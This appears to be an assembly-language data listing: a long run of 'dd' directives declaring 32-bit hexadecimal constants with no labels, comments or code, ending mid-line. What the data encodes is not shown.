dd 0C6258DC5h, 39671307h, 60E03BE6h, 1E840624h, 2AE4F62h dd 0F36AF7D6h, 80C170E8h, 771F891Eh, 40B5124Eh, 4C2E81EFh dd 0D693002Ah, 443E7D31h, 30003892h, 1185F2BEh, 5F0C1Ah dd 0C859D758h, 4EB46FC1h, 9A51B600h, 35C7A830h, 20FB0097h dd 0F3445B08h, 393AC069h, 75F71CF6h, 4CC0BE53h, 492CDF03h dd 7A0F0C26h, 82CF3C4Ch, 0D4A2065Dh, 5C30A841h, 0E1CC1014h dd 2000835Fh, 5D3538B1h, 320FF63h, 1CB74D83h, 3C396DFh dd 7BC55001h, 0BC7AF66Ch, 472D3840h, 0D1330C28h, 6F28F3CBh dd 51214E06h, 783198BDh, 0EF820CC5h, 0F948FC35h, 6F30A2EEh dd 0F8BE787Ah, 0A4B3E854h, 9097002Ch, 9B00B9Dh, 6C06621Ah dd 91276B8Bh, 9B0200A0h, 0AAE3146Ah, 0AD00BAD3h, 95B78EC0h dd 3CCD7DAh, 0FA769FB1h, 0DDF8E8C7h, 7A0058C4h, 276A7226h dd 90F24D98h, 39830728h, 307E01FBh, 0EE0AF3B5h, 0E038B6E0h dd 6C2572DAh, 1D9958DCh, 0E9717CEh, 58809ECAh, 85940D3Ch dd 3DC48C00h, 0E2291BDDh, 0C6100173h, 46F5867Eh, 7A57CCEBh dd 0A137F300h, 8E5BA8DEh, 13D185Dh, 0C2EBE923h, 0FDF72203h dd 0E8CA213Eh, 987E9502h, 3CBD7D01h, 4D00C5ABh, 134A8F7Ch dd 0E003A860h, 0BE8A49D7h, 2FA1D0E4h, 35678A5h, 31132036h dd 6EF85EE3h, 0AE00F260h, 2A5D9F8Fh, 0E4F51CAh, 0D0EAF0FDh dd 0B7EC27A0h, 2D00983Bh, 501F34A7h, 3547E7h, 768741F2h dd 1E602B61h, 9063AC03h, 0C71A4528h, 1FBBC420h, 0BEB6076Bh dd 4132E321h, 0C8C8931Ch, 0BA009643h, 696A7D18h, 89B5F2h dd 0CA8F5DACh, 37FE2747h, 52DB6600h, 0FD201E8Ah, 9F2807B1h dd 60D9065Ah, 38D6C94Ah, 8FCA3E03h, 0CB187D35h, 29E7B05Fh dd 2CA3034Ch, 5E4E8E0h, 40F1E9A9h, 9336B3DCh, 38CCB409h dd 0B0ECA87Ah, 730C3E07h, 7780E270h, 0D18C9298h, 97F80420h dd 100E1A30h, 621A2h, 0EE2215B6h, 80F950E0h, 0C06A7025h dd 67720E0Dh, 828280Ah, 1D84C290h, 73924468h, 480DBD44h dd 55644296h, 28047625h, 0AA48FFF1h, 2456B242h, 577215Ah dd 0E2107E12h, 0DE694014h, 428414A1h, 0E3135228h, 0A22921C2h dd 0B3A13A04h, 58426608h, 218624CDh, 5190F482h, 14BD8A3Ah dd 87842A10h, 804E48F7h, 77EAB94h, 0C00F8A4h, 5ED2EE8Dh dd 0BF6FC69h, 794C58EDh, 361C0CFEh, 0A8F1BF40h, 74AB0F2h dd 5BDA1574h, 0AB45B0B2h, 0C907093Dh, 105AD4Bh, 8B429B50h dd 73A30707h, 3018D529h, 0D53D0C1h, 0AC4BEE3Fh, 9C97ECEFh dd 67943300h, 37F6A19h, 0D8BD0165h, 0CE8053D4h, 76000F2Ah dd 893BBA39h, 0F511F75h, 246460A7h, 6870C7C0h, 0C616152Bh dd 104044BBh, 77B85B2h, 9AB618EBh, 40D84826h, 0EA008171h dd 0DA77AE44h, 9E541h, 4F35DFA6h, 0FA25FC2Eh, 3E6F5300h dd 75F11673h, 0FD109FBh, 944040CCh, 2818F71Dh, 0CD28EB9Bh dd 91D93061h, 78AC2460h, 7C1D9D2Eh, 0CA1AB700h, 0F7AA33h dd 0B1AE967Dh, 0FC381568h, 4B634700h, 0E3821CA0h, 901900AFh dd 3172628Bh, 8A761B0Eh, 69CADF00h, 9FC2F8FBh, 89E0041Dh dd 8071CD77h, 0E10964D4h, 2DC6B207h, 8939F884h, 5710080h dd 0E2CF1A10h, 68420A4Ah, 0C7D42F9Dh, 0A7E0606Eh, 1800AAF6h dd 0A4609592h, 60703F1Fh, 0DD87C849h, 0A00619Dh, 1320434h dd 7307CDh, 431BFDDFh, 0AD381991h, 0C9A9B301h, 930C2937h dd 561CC840h, 0A77E000Bh, 0BC9FDCE4h, 0B30006C7h, 3F5A8EB9h dd 5FEDD2h, 0A67FE2AEh, 0C130A7EEh, 8D519700h, 0E549C6DCh dd 3EC7011Ch, 871E0FF2h, 0A7E9E083h, 9B367D1Fh, 0F0FDD4h dd 255581ECh, 0FE23CAh, 0F0D1788Ah, 0A08562C1h, 0C80E12ECh dd 413B7F8Bh, 635B21E1h, 4E7DF0h, 0FA82746Fh, 0E5DD4A84h dd 20000F71h, 2BAB68CAh, 13741A71h, 66F881h, 0F0ED7513h dd 4900E26Fh, 7862C090h, 0EC8FB9Bh, 0A9E11D01h, 6A2272A0h dd 790E35D8h, 0E4752Eh, 61134F95h, 0A1B7068Ch, 0C497CB22h dd 88F8EB12h, 0DBD24C40h, 1C172BCh, 0E6AA575Eh, 40847102h dd 2D9C82A4h, 39FD350Fh, 0AFC9A0DBh, 0F3E8D73h, 6F6A2E71h dd 2124C6C0h, 0D200D8A1h, 9731BF0Fh, 118B0Ah, 35018374h dd 0B93914FBh, 9A1EA49Ah, 0F8C09869h, 0C8EDAA99h, 0D68801C3h dd 0A2F7DDC9h, 9502031h, 0F800027Eh, 5351CF81h, 77370Ah dd 0AD7AD4D3h, 6B127FD5h, 2700E378h, 99304B95h, 195DE0h dd 0ED1EBAEBh, 9F68B257h, 41E7D400h, 0F3F84B7Ch, 0F63D00C9h dd 51F58821h, 0B6007139h, 0B5F956CDh, 58334Ch, 0B050D2E2h dd 826E97DAh, 51DDFC00h, 65C95B73h, 0EA340036h, 719F5F8Ah dd 20013153h, 119BB22h, 0E8D0CFA9h, 189A0FC1h, 0C74059E1h dd 7603562Eh, 4D022000h, 0BEBD9F6Fh, 0AF380053h, 9574809Ah dd 782E2713h, 7512A8DFh, 0E3BB0C20h, 0F93700E5h, 52D20A1h dd 9D05F090h, 683F344Dh, 0B482180h, 0D4890FFFh, 0AAA1F4BFh dd 70A7B1B9h, 0D50190F4h, 5041D64Bh, 5C20CE05h, 80049B34h dd 65DCD1ACh, 8C042479h, 9D3D3E46h, 1DDBA4F0h, 0CF4F3B2Ah dd 0E616F4Ah, 0C0B1B892h, 0BC00EDE7h, 0BD2C975Eh, 9C2A386h dd 0EE2BFA3Ah, 691B4002h, 0E478B780h, 8907B8EBh, 0F5FAC5D6h dd 45F210C0h, 4D0F009Fh, 4B780E51h, 0C458F191h, 0A8E43C7Eh dd 1400D4FFh, 1C438135h, 0F9D5D48h, 0C8A81B25h, 107EE660h dd 9BE803DDh, 6121530Fh, 6FF8202Eh, 263C29D4h, 50799h dd 6C88F61Ah, 232AD14Ah, 1C01E890h, 338A7487h, 0BDF18E4Ch dd 18935BD8h, 28EA789Dh, 1600E5E6h, 25FAB4CFh, 28C526h dd 9711E871h dd 6E24A69h, 0C79DFB00h, 6BC0DAD6h, 0B841h, 8A17F3F9h dd 9F6C316Dh, 965A361Fh, 92A3F480h, 0B0A491h, 0E75EC99Dh dd 0AA509BCAh, 7F755400h, 7131E8B6h, 14B50E04h, 55C117A1h dd 0F201972Ch, 0C50764C0h, 0CC06EF28h, 0F327B00h, 0FA2B8A33h dd 0BB860520h, 5F69230Dh, 4C400C0h, 6C9DDC6Dh, 0FF4B3800h dd 0FA6864B0h, 0BB8F00FCh, 652D37DDh, 75007993h, 9F3A7AE7h dd 0A8F356h, 0FAC45BD7h, 0A90A7608h, 0D3AE11C0h, 0E2BA9E6Fh dd 33271288h, 2400C08Ch, 0A90CD51Bh, 80EF7A90h, 0ADDB02BEh dd 451C650Dh, 0C3261460h, 0F1437E05h, 0AC30C893h, 0D2D9F5h dd 8CCE03E0h, 0A6C9A115h, 27870507h, 0CBE20F69h, 0C1084035h dd 835502CCh, 1E016ABAh, 3D0B5060h, 0D6FBA500h, 20AB3687h dd 0EA5F0996h, 0D080F795h, 0CDCBDF56h, 6B284B7Ch, 5D00A406h dd 0E64D6116h, 5044B1h, 8C088793h, 0DF3B5CD4h, 0DDCCB801h dd 31645BF9h, 17AD70h, 1505E4A3h, 656208B2h, 18C34D0Fh dd 0CEDD4078h, 1DC46E68h, 1AFB76D4h, 3160119Bh, 8B00E1FFh dd 0A90F9084h, 1E3ADFA4h, 0C1EA86ADh, 0A835B851h, 33E020B0h dd 1AC8E601h, 117A2EC2h, 0D9820h, 0D16FDD0Ah, 0B3F315B9h dd 0A96A0B00h, 1FE707E2h, 0E54801DCh, 1584A29h, 0B3402055h dd 0AC33D700h, 76DF2CF1h, 8156001Ah, 0D1526034h, 5D0073E4h dd 8AA79E08h, 9751012h, 7634B594h, 0C4307100h, 5F006BF6h dd 0D295B1D7h, 0E07BC1D6h, 86C702C9h, 31A69E2Fh, 69A324C0h dd 0FC99C004h, 30C044EEh, 20BEC5h, 6268C13Eh, 765D17FAh dd 680958h, 0EE55318Ch, 48A234h, 0C5EC7D33h, 0F6A5766Eh dd 3F706200h, 7CBAD10Ch, 3E4A7D66h, 270AB37Eh, 0A88644h dd 3C0CE35Eh, 0A702D322h, 0A83A2F32h, 0D0F480F6h, 2F91112h dd 0F7DAD77Fh, 6868B564h, 9C0053E1h, 23278FF6h, 0B1ED33A0h dd 801CC0h, 0D6DE4082h, 0B49A16D8h, 9FB41C13h, 26B81218h dd 4DA50288h, 4F6C9A24h, 0E45F8460h, 8BA6F21Dh, 0EAB75700h dd 724BED4h, 11942A92h, 0AD0C7299h, 0CB40B062h, 0C0009F0Eh dd 123C485Fh, 0D9E673h, 0EE83AE6Ah, 0D0CEA963h, 0E65BF00h dd 7C6B5B9Eh, 0F4F10310h, 0D297F78Fh, 365DE4D0h, 0D700BCFAh dd 6E358425h, 9184AEAh, 0FA7563F2h, 20B4C400h, 320E56D5h dd 78922C64h, 155447B1h, 0D40E9995h, 81586500h, 199CC8DEh dd 808FDC01h, 23136E57h, 2DCC30h, 68936402h, 9ABB5030h dd 7D6AEF00h, 32783AB6h, 4B2100F2h, 4E158BECh, 63F643ADh dd 0ED389000h, 0FE49B1DCh, 34CE0F04h, 8FE091DDh, 87AEA739h dd 56E8C30Ch, 1942114h, 0E069710h, 0D8B31D29h, 5BFE8450h dd 748D9B1Eh, 4FFF7C2h, 13460C3h, 318E0096h, 563850EEh dd 7C03769Bh, 0ED499964h, 0C2689877h, 1303010Bh, 6367CC36h dd 0F833C9F3h, 0CD0029F0h, 0D4C59A0Dh, 2CC4691Dh, 0AACC7Ah dd 21703FCEh, 5E0EBEADh, 4037CBD0h, 4D759DB6h, 0F09809h dd 0C9B22C02h, 0C1730B04h, 0B42190C2h, 98786899h, 0B6FA0B07h dd 0AC20E912h, 9D8DF8A3h, 26F121C0h, 0FEC1EA3Eh, 2C90B9h dd 694840E1h, 4F4E1BF0h, 58AA3C02h, 40817A96h, 0EC8CBD0h dd 17BBC618h, 0D57DEE81h, 0D3842059h, 0BADDE112h, 21BF414h dd 9B99720Fh, 1D8C4069h, 15E410D6h, 961C00F4h, 32F27585h dd 0E85A006Eh, 0AB506DA0h, 0E0071055h, 48BBD882h, 0F051EFA0h dd 0B37CD0h, 64FF7F0Ch, 0BA956352h, 9C1D13FEh, 9808F1A0h dd 0A4AA008Ah, 6B6CF951h, 189B3F00h, 2A0A847Ch, 0CB7BC0h dd 7F8819FAh, 4AF8152Bh, 9C6A9300h, 0BB46CD4Eh, 572128C6h dd 8B1CE6A8h, 9E391E8h, 8BB6E500h, 0F03F45E8h, 47430079h dd 146FA578h, 0CC4DA771h, 88FD001Ch, 0C27F4AA0h, 11F91265h dd 1C9C0730h, 3A23F046h, 2930A10Bh, 2AAA3808h, 24C67CEFh dd 4778h, 56709F6Ah, 0A712DE53h, 0D713E920h, 5E81C42h dd 4F394021h, 5CE60012h, 3EF5BCDDh, 8402AC79h, 0AB5F342Eh dd 0A760F7B9h, 9C015737h, 686B2309h, 8434DE86h, 0F30802C9h dd 3134C85Ch, 8D904E00h, 429CA0F8h, 0AF591CC5h, 184D9FC6h dd 31389A61h, 0CF086500h, 0F805CE3Ah, 2BF2002Dh, 0F686370Fh dd 3000A1BAh, 805AE60Eh, 5850A9F9h, 0A840AC0Bh, 146420DBh dd 0D7905114h, 0D80526A7h, 7E9EEC01h, 1187D0DBh, 0B2258781h dd 0C689CD2h, 0EBF6E742h, 5B0033F6h, 3FA74BB8h, 16D3859Eh dd 1C1FC2D9h, 199100A0h, 0A7B4A518h, 4FBE3404h, 0E080F502h dd 0D8380Ch, 748437B2h, 64050D17h, 3E1CD40h, 0CE116936h dd 7BB02D70h, 0C70BDD15h, 80CDE979h, 0EBA888DCh, 16F302A4h dd 0D543476Ch, 0CA57E740h, 0ED2D4E00h, 0FDB4E57Bh, 5A640C89h dd 1FB8172Ch, 0E0C19024h, 757BF600h, 0AE56A6h, 6092984Dh dd 971CE3AAh, 0FB63E100h, 0A5A2D536h, 0EC94002Fh, 3DA6BCFCh dd 0DA0099A4h, 0B03C354Eh, 0FE6B836h, 8E05572h, 0D8D56A05h dd 580F31BCh, 0E05A47F9h, 0E0CF3B57h, 77161C09h, 698E00A3h dd 9617C26Fh, 110DF530h, 1AE4BA6h, 0D19352A9h, 2C34B40Fh dd 22B60088h, 627B7E71h, 0A4F6EAh, 9A04C0B5h, 88C9F956h dd 2BCA5107h, 61FE41DAh, 57AAB1Bh, 4D8E870h, 252373C9h dd 0F17C108h, 293C3CADh, 0A4848816h, 8AC00ECCh, 37F5C0h dd 3B1F94E0h, 9D6BF43Dh, 0D4610B00h, 84C323A6h, 0DB71008Ah dd 0ABE827F8h, 0C0C0C275h, 38879FFBh, 767C3E1Eh, 7DCE0D83h dd 0E4F04D70h, 9E26F853h, 4B0033ACh, 8088D5D2h, 0A6760063h dd 0E024E14Dh, 912829A9h, 7800A8FAh, 0E7F2F9EAh, 2FA27Eh dd 648CCD2Ch, 743C6808h, 9C27B93Dh, 8580C81Bh, 6CC6DCD4h dd 5DAE2B8h, 0D1AEF638h, 0F8C4000Eh, 4B78C64h, 2B02348h dd 4B7DE0BEh, 0EEB0E051h, 26C30007h, 4F8127C4h, 0F0B03F11h dd 89540603h, 0F8AF71F7h, 9C40E2h, 7012DE73h, 4C59F079h dd 92903D01h, 7C7C64Ah, 2F00AC28h, 0AEA0FC6Dh, 940073F3h dd 0FEE93405h, 2C140D72h, 0B82C99h, 8428EDE4h, 0E00BF3F5h dd 0C145B886h, 4828D084h, 5CA185h, 47DA7F0h, 0FC009DF4h dd 7BB006DEh, 1866341Ah, 100767AEh, 91184C0Fh, 0C021E2A3h dd 4C80F3A6h, 18938D76h, 56014895h, 0E00E4785h, 0A470C142h dd 570C2419h, 8EF20438h, 0B58B006Fh, 774A3D97h, 0FA110759h dd 0BB656008h, 8E1E5C00h, 572D5283h, 3AA000E8h, 0BA741CFh dd 71650D0Fh, 803B6020h, 0B2001534h, 8F59645Bh, 5018DC3Fh dd 35DA1AEh, 9169851Ch, 9CF0BFB5h, 51003BDEh, 0DFF4A6C8h dd 0C49DC5h, 29A09226h, 4BD47E16h, 84092409h, 57600077h dd 1D693h, 0A47B90ACh, 5B36DAB6h, 0C52D041Eh, 5A001492h dd 3E4E8B33h, 0CF0E0037h, 7C22A8DAh, 0BAFAD21Dh, 831687B0h dd 0E1066165h, 0F2D03C5Dh, 7038F7A9h, 0C2F7B00h, 0F6378213h dd 5F7D6F00h, 0C95425AAh, 0C61B0006h, 2CB93E45h, 405CE553h dd 9FFE11B8h, 42E49726h, 54C08F10h, 0EA1E9BC8h, 88C0CC6Dh dd 0BAF47D9Ah, 0F691748Ch, 0FC1900BCh, 204DABC4h, 7200A9E6h dd 47B5696h, 32CF70Eh, 1FEAC9FAh, 11B67AC6h, 87833E3Ch dd 0B1966AEEh, 5810E3A2h, 4D3400BCh, 0D5A46D51h, 4E095564h dd 0A0AF1499h, 0ACD4F51Ch, 0C1F10E62h, 5EA0A9DDh, 0C254B6C5h dd 0CE071400h, 4144380Fh, 22B40006h, 0FE655A1Ah, 7600311Fh dd 400EC593h, 5E986C8Fh, 30A40B32h, 9600A462h, 0F7548DD9h dd 706C2505h, 70C036E4h dd 70FBBE4Dh, 0A8A0068h, 79089E9Ah, 4803D9ABh, 0AF5DE45Ah dd 98BAE87Eh, 0A4DD0381h, 0FEF840Ch, 80B63939h, 0E06127E5h dd 0FE375F5h, 0CC7DF7DAh, 0D740B2CEh, 9F294314h, 48D29603h dd 0A7FAAE5Dh, 0A1C08974h, 2472522Dh, 44C9FEh, 2981BC88h dd 68B6934Fh, 92F19700h, 236EA90h, 991EF9A9h, 0BCC115AFh dd 35AC43C2h, 0AC4BAA0h, 1AA3FB03h, 88603AF7h, 5146EDh dd 0F48C5D30h, 52D7287Eh, 0B8CE0800h, 4B7F9449h, 796A050Dh dd 0C6A13D71h, 1516FEB4h, 54001880h, 0AD7525DBh, 0AE0400BCh dd 0B5B3C734h, 5105A030h, 6627389h, 98C46BC0h, 471900A5h dd 0FB07CA55h, 53008C8Ah, 0E4A779C8h, 0E9E35F5h, 0B7A2285Dh dd 17AF1302h, 0DD248864h, 880107Dh, 0D33C104Ch, 0F9B901C5h dd 23873BB3h, 0D7B9D7F4h, 71882085h, 0DBAE7A0Ch, 0B0A511C1h dd 39F100EBh, 5E6E2AE7h, 880F4E64h, 7BB650h, 1AA8C60Fh dd 58D49062h, 0DC12B093h, 23D0207h, 37C18833h, 879830DFh dd 0B8EB1602h, 60805250h, 0DD301Ch, 3C17419h, 54CA2458h dd 0BA837500h, 254DE6FBh, 559B013Ah, 0D9214F98h, 7D2419Dh dd 39CCF069h, 0C83E600Fh, 73CE60E8h, 0BBA6AAh, 0BE2D389Bh dd 4C9F3F53h, 0AD4D6C00h, 698AC5D2h, 332E0504h, 0A8B1E984h dd 0EC1C0198h, 41ADAC3Dh, 7E1030h, 0C0FC90Dh, 5DBFE552h dd 0FAF09700h, 0DB9E27CCh, 0B9A40002h, 56257CFh, 8B00ECFDh dd 42B36C4Fh, 26DCBD6Dh, 584E3BEh, 0B00AC8FAh, 40C08F70h dd 5CC69529h, 0D7BF00D8h, 8BBA7754h, 0B504AA37h, 365A5780h dd 246CA8E0h, 34181Dh, 0D15C4AE3h, 0E80E847Fh, 16E7AF42h dd 87668500h, 0F250354Dh, 0A0C01272h, 0D8CC0409h, 2268D806h dd 0EB866600h, 3B685F5Ah, 0BAC903F3h, 6A4AB74Fh, 28D7112Eh dd 0D4E06603h, 7B4800B5h, 0BBCE2EF9h, 0EF00301Eh, 0CB048C8Fh dd 1BC06Dh, 8E50AAF3h, 9EED7E87h, 0F45E8600h, 20C615BCh dd 5F3CBA38h, 6678414Bh, 0D48E9CC2h, 0F17DF9Fh, 5200AAF5h dd 8C055D99h, 0A3C90029h, 4AEE2A86h, 640F609Bh, 0ECF1A86Eh dd 49114Fh, 229085A2h, 0F0725B38h, 7F4D4300h, 17FA3C1Dh dd 82EB00CCh, 1634369Ch, 8E090E98h, 0A5637B6Ch, 64B48758h dd 0B078E3F6h, 1A0B744Dh, 9E8EE25Fh, 0F1DECF60h, 4E019821h dd 0B5D24F6Ch, 0EEDCA268h, 0FC7B5AC1h, 491F1941h, 57F89D40h dd 48D82706h, 0BD9A6C00h, 0BEF034E0h, 5D005098h, 7D9CE2ABh dd 76FC3ADh, 0E7792B65h, 69F9B129h, 2C04E868h, 1BC79100h dd 13982AFEh, 5DCF8D1h, 0F664610Ah, 93A0F438h, 743A4800h dd 1F6C9BA4h, 97490499h, 802B90E3h, 0C7AADF4h, 0EA629130h dd 2F14F7Dh, 0D05B899h, 505A4888h, 0B51F8007h, 0B070F323h dd 0CCC7ECh, 0E9A18255h, 868994Fh, 7E7420F2h, 58144Ch dd 0A90DADB3h, 8FB2B0h, 15365C1Dh, 228EF72Bh, 8080693Ah dd 2FBEADEBh, 281FAEA9h, 5ACB4A4h, 69112A5Ch, 3BF00C10h dd 8F48E606h, 607C0074h, 0FCA6B0D9h, 9CCD021Fh, 20EC932Eh dd 8D5F8850h, 0AFF21043h, 5075FFD0h, 80E3ACC3h, 78ADF11h dd 3166C6A4h, 8E90B0F8h, 9838A826h, 32A80D5h, 9BC628E6h dd 44460085h, 0A3295910h, 8600600Bh, 0B0183CC2h, 2437C61h dd 15D414C8h, 6049F23Eh, 189C29ABh, 4798116h, 0AEEC0EC0h dd 0E9A9F991h, 0BEA9F018h, 8AF57F00h, 8248AEB3h, 5899001Ch dd 40E7C731h, 90032A97h, 838CA760h, 0C2F2B055h, 6B2E09F0h dd 0B880237Ah, 3BBC4968h, 1939AEE2h, 4098095h, 3CB34120h dd 9C744CD7h, 0EFEAF500h, 59C347C6h, 0E4C09E00h, 818D4C4Bh dd 0CFBE0579h, 834D44C4h, 0E8B0534Dh, 0BF60A1B6h, 0FEF8FB18h dd 1FB0C0F2h, 0DED48BE9h, 4D662900h, 973412EDh, 0F73000D3h dd 0F1BFF38Fh, 20003A7h, 602975F9h, 0BCCF83h, 109C3AE6h dd 0C46F1568h, 0F01F2898h, 97835A18h, 0E00544C3h, 58F713h dd 0A6A96499h, 0A722D74Bh, 6E094809h, 964F0038h, 7177E30Bh dd 34029D59h, 84F044A4h, 2DBB8800h, 0DA0D6E06h, 1D9B0015h dd 6BF6E5C7h, 0EF01D4A2h, 0BC23C3E1h, 21EC18A0h, 840D004Dh dd 0AB945743h, 2513A4FAh, 0C847262Bh, 9124D5F2h, 928184E2h dd 0D8C631F9h, 6D13FC43h, 0C4475860h, 0B040FF4Ah, 0C6EEFDh dd 8E960548h, 30290D51h, 726473Fh, 9CFCC057h, 63DE6780h dd 0AB7D06h, 1EC1249Eh, 0FE61A834h, 9C00148h, 80920A64h dd 5D2EB9D8h, 0D7233E27h, 17DDAA84h, 5E3C923Ch, 0C445145Ch dd 13A88E0h, 894399E6h, 0E34EB0D1h, 12661930h, 0D06113h dd 6B05C4C7h, 0CABC7B06h, 3F740D78h, 81731100h, 0ED1C1AD6h dd 44B40A5Eh, 0E89158h, 2C2FD64h, 20797A03h, 0E21DA825h dd 0E4914174h, 782C68E9h, 722E690Ah, 8190828Ch, 0D48F9480h dd 52C9FC40h, 4060F86Eh, 93B79221h, 950200C3h, 0E0E1445Dh dd 0F8A08C85h, 820F79BBh, 0A034FF6Dh, 87B8FD51h, 0C138C004h dd 9D0990D3h, 716BB00h, 643AA1CEh, 0C517B8CAh, 9EE510h dd 8F4E21DBh, 34F5C36Ch, 0DE4B0FF0h, 87FDA849h, 0F060C988h dd 0C32F7576h, 0AB133211h, 7A961AD8h, 0AFCF2400h, 692CE4ACh dd 806507EAh, 0C0DF02A4h, 14DBB395h, 24C19A2Ch, 73990901h dd 0E9C496D4h, 819B007Bh, 46132E05h, 6E2526F4h, 0CF38C1FDh dd 0A670BC41h, 0A4539995h, 974085CFh, 0CEC6FD25h, 130FBD73h dd 807207F4h, 4F894044h, 0A5790008h, 0AA2CA3EBh, 9B05D0BAh dd 819D6BF0h, 98D00485h, 7103B784h, 0CDA50772h, 4B564AD4h dd 0F60A4C02h, 0DB4D64E0h, 2E140400h, 961723BFh, 1AB800B4h dd 1FE4CD9Eh, 7F384270h, 0D9D205F6h, 9400A419h, 9F29400Bh dd 33571869h, 987ED895h, 17305CE8h, 0A8A412C6h, 2EA29062h dd 0F08EAA3h, 6E00C12Fh, 0DCFB2163h, 58100209h, 0E8310032h dd 0AB8647h, 0EE7DE566h, 0F4C7E70Ch, 46389577h, 0D4780EC5h dd 218D0497h, 5328A0h, 91CDEAB7h, 0BAB07F8Ch, 5F22B61Ch dd 84F13200h, 1E283D10h, 402A873Fh, 56B30A6Bh, 0C800169Eh dd 9667F612h, 277418Bh, 0F74D7551h, 0B4630B61h, 78565E8h dd 0E63CA50Bh, 4F04A257h, 977DE075h, 5DA30ECEh, 71F6141h dd 0C148AADFh, 303E2D20h, 212559FDh, 0C2286171h, 0F003C03Ch dd 0CA84EB35h, 0FA81100h, 0BB454DFEh, 617E69h, 3E23528Ah dd 0EF5C2BC3h, 75F85A00h, 0C942A79Ch, 0C62E00D3h, 81BFCE54h dd 2C13B0E7h, 3CB07B52h, 4114B6DBh, 6445F24Ch, 3400A748h dd 1567BA75h, 39BCCBEh, 0D192D903h, 79C02F7Ah, 28908AADh dd 0F81FBA2Ch, 192DEF80h, 0A77713h, 0A257CBEEh, 0AA602CD0h dd 0B9505374h, 8300E6F8h, 0E004EF2Ah, 0EA5E1EE5h, 0CCA71FD2h dd 575F4EA3h, 1D3B6580h, 0B838F7C2h, 0ED8E1399h, 1AA69F0h dd 13FDB4F4h, 30DABB6Eh, 5600C41Ah, 3617F4Bh, 46518h, 87477593h dd 5589E374h, 8C0D45Eh, 12590611h, 4040BBA1h, 9C0B651Ch dd 3D3FB969h, 98D81FA4h, 46E314C0h, 93773Ch, 27435305h dd 3DDD19C0h, 64F5AA00h, 2A3459CCh, 641F5C5Ch, 9181AF09h dd 9417BC68h, 9964224Ch, 0E4398498h, 0F61E5098h, 19D09205h dd 7780FAE8h, 35F11F1Ah, 0D0B06872h, 0DAF04DA8h, 3464FB00h dd 5D77A97Ch, 99B00008h, 0BF59269h, 5B078822h, 579E45C4h dd 0F4AC3894h, 0FC805C3Dh, 54A809C3h, 2C001BDAh, 0C2CBCC79h dd 0E84F637h, 0A933BA13h, 2543A6C0h, 47E2C32Fh, 2E7393Ch dd 0C6529530h dd 5B2CE034h, 0A28A0038h, 3BA73A50h, 670B7985h, 8F365EFFh dd 0FE87C01Ch, 4BA45577h, 1D54C33Eh, 806EA6E8h, 9F0DF303h dd 0E8921FA3h, 3EB8DCBh, 964DFF2h, 23F8C7AAh, 1B0052FEh dd 0B60B3AE5h, 0B8053011h, 0E6E7003Ah, 0F5E060FCh, 6377FEAEh dd 7EA2400h, 0CB397D80h, 68DF0381h, 9C1F3444h, 0A6493Eh dd 0CAE9637h, 0A0855Bh, 3E3FB9B0h, 46A7B29Bh, 894BD401h dd 92D0B536h, 2C7712D8h, 402482A9h, 0E4788AE9h, 0AC070C00h dd 0F50D1221h, 0F8F2001Bh, 0EC9D6A05h, 7A01E3C7h, 32BE3311h dd 22E4FD3Fh, 0F513385Bh, 8BA92Eh, 0D16D7819h, 0FD001580h dd 5CA8FFB1h, 41AF47h, 7FB28E4Ch, 2F12E20Dh, 78AEFA00h dd 912E4E8Bh, 0B6E60016h, 0DD6A5DACh, 5237561Fh, 7BC05068h dd 0F2DD49Fh, 646392CBh, 5ABFCE0h, 4712E7E5h, 18F0A3E8h dd 28E95E03h, 16779DD4h, 55DAFF01h, 770AB2ADh, 0FD5E721h dd 0E2001C3Ch, 0C0AE8A22h, 0A4011CCDh, 6D060B16h, 54F4E12Ch dd 0EFBC028Dh, 59ED604Eh, 0A26A0B40h, 5A4E1048h, 78650888h dd 98058409h, 0A8DFE282h, 7E1F00ADh, 0F4180DAh, 0D747A41Fh dd 2E5ADFE8h, 44E038D7h, 20A93Ch, 4D4A928Eh, 869DDE9Ch dd 4900097Fh, 0F6E47BCFh, 65CBC74h, 78438898h, 3205484Dh dd 0A2891547h, 0B04CB0h, 0DDFC35D5h, 0AD67DFC6h, 755AE674h dd 77C48CCh, 0F950F426h, 2807E083h, 0C6140C6Dh, 0F65CC0h dd 928B6890h, 3B5F8BEh, 0ADC4F415h, 61F0ABCAh, 8100D09Bh dd 5663E18Fh, 50C3C6h, 0BA8D06A6h, 0BB12C526h, 0FCF32F00h dd 0D2530822h, 0F6FE6DFh, 9F7E54CCh, 76DB62A0h, 0B300BF34h dd 5230C198h, 592B16Bh, 9AB2A4DFh, 67FB80C5h, 8B004EF2h dd 1C365D29h, 1E54FAFh, 880A28CBh, 20F7BDC3h, 0E800117Bh dd 0D7CFF021h, 13A490h, 77B17075h, 2DA3D1A5h, 1C7B0F09h dd 4C501Bh, 220D9DF9h, 6B072314h, 8327A801h, 956CCC17h dd 189A0D8h, 75DDAE5Dh, 52F6433Dh, 105ECF9Ch, 19D700BCh dd 0FA4CBA12h, 2A8007EBh, 22F27CBDh, 0C8829336h, 0F080AC3Dh dd 26170297h, 0EB3C291Eh, 80FCE8D4h, 1A95899Fh, 4C7A000Ah dd 0FECD32F0h, 88000408h, 85E2C99Eh, 0FC6BF443h, 29E801C7h dd 0B8F9954h, 0F6B57059h, 3AF48574h, 0BCAC4A00h, 0FFF7BE5Dh dd 2720C3EDh, 0B7B0D443h, 0CD00C767h, 39097CD5h, 0B19C8Dh dd 484CD7B8h, 0A5185DDFh, 9869AD3Fh, 0C5E17984h, 0E66D05C1h dd 40DF274Ch, 61998280h, 57FE9EB7h, 5E433B1Fh, 0DB03D9A4h dd 0BF27097h, 2C948228h, 59007CF4h, 36AE90ABh, 9052FEDh dd 0BFEB9A60h, 0DE951100h, 4027A11Eh, 0E3B000B7h, 5713CB14h dd 0D4867CFh, 0A8EE03A5h, 0F1D3A08Ah, 0C7E53295h, 774CF8h dd 0FFA171DAh, 0AF6AA72Dh, 9B58F900h, 0AA26B1DFh, 0CF3B3895h dd 0F3B7E980h, 6314D0A0h, 0D7CE6100h, 0BBAFA145h, 415A035Fh dd 0A991BC10h, 71701E2Eh, 40C6EB0Fh, 9D8F4D14h, 5E3C48DBh dd 668F043Ah, 4180ED7Eh, 0E67DD7C3h, 0A6FB2F00h, 59BBAC7Bh dd 788DEC71h, 5A730034h, 0C4F1C66Ah, 0A00815Ch, 0AF9D1A10h dd 509107D4h, 0AF8080C3h, 91FC8604h, 0ED00108Bh, 757E824h dd 7E02A2h, 89148093h, 0FCC5F137h, 0CD235118h, 88EB2628h dd 0FE887BD6h, 2535883Dh, 89ECDC88h, 44C908EAh, 2284193Ch dd 